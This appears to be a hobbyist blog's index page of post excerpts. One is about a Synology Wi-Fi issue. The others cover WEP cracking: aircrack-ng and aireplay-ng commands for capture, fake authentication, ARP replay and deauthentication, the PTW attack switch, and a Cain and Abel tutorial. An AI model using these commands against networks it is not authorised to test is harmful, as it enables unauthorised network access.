Useful if your SSIDs are identical for 5GHz and 2.4GHz. Having your SSIDs setup like this seems to confuse Synology DSM, and for me it would always connect to the 2.4GHz network.
I had this particular issue where my TP-Link T4U ac wifi adapter for my Synology kept dropping down to using the 2.4GHz network, which … Read more »
Finally, I’ve had time to write down my notes on using aircrack-ng with the Airpcap Tx adapter in Windows. Before you read on, please be aware that this isn’t meant to be a guide or tutorial, it’s just my notes. Thanky 🙂
airodump-ng \\.\airpcap00 airpcap CHANNELNUMBER mycapturefile
aireplay-ng --fakeauth 0 -e "MYSSID" -a BSSIDMAC -h AIRPCAPMAC \\.\airpcap00
aireplay-ng --arpreplay -b BSSIDMAC -h CLIENTMAC \\.\airpcap00
Deauth (if we need ARPs):
aireplay-ng –deauth 3 -a BSSIDMAC -c CLIENTMAC … Read more »
Every time you deploy a WEP Access Point, a fluffy kitty dies.
Recently a team of German cryptography researchers perfected methods to recover a WEP key faster than ever before. The older Weak IV attacks generally needed between 500,000 and 2,000,000 packets to recover a 128-bit WEP key. In contrast, the new PTW method needs a … Read more »
As of version 0.9, the aircrack-ng suite natively supports the PTW attack. Download it here. To invoke the PTW attack in aircrack-ng, run it with the -z switch: aircrack-ng.exe -z mycapturefile.cap.
A French chap has compiled Aircrack-PTW for Windows. This is great for anyone using the AirPcap adapter to inject packets in Windows, as the new … Read more »
This video tutorial demonstrates how to crack WEP in Windows using AirPcap and Cain and Abel.
An AirPcap Tx adapter
Cain and Abel
Note: It is possible to get this working by using the cheaper “Classic” AirPcap, in conjunction with the old 2.0 Beta Tx Drivers for AirPcap, to enable packet injection capability, but this is entirely … Read more »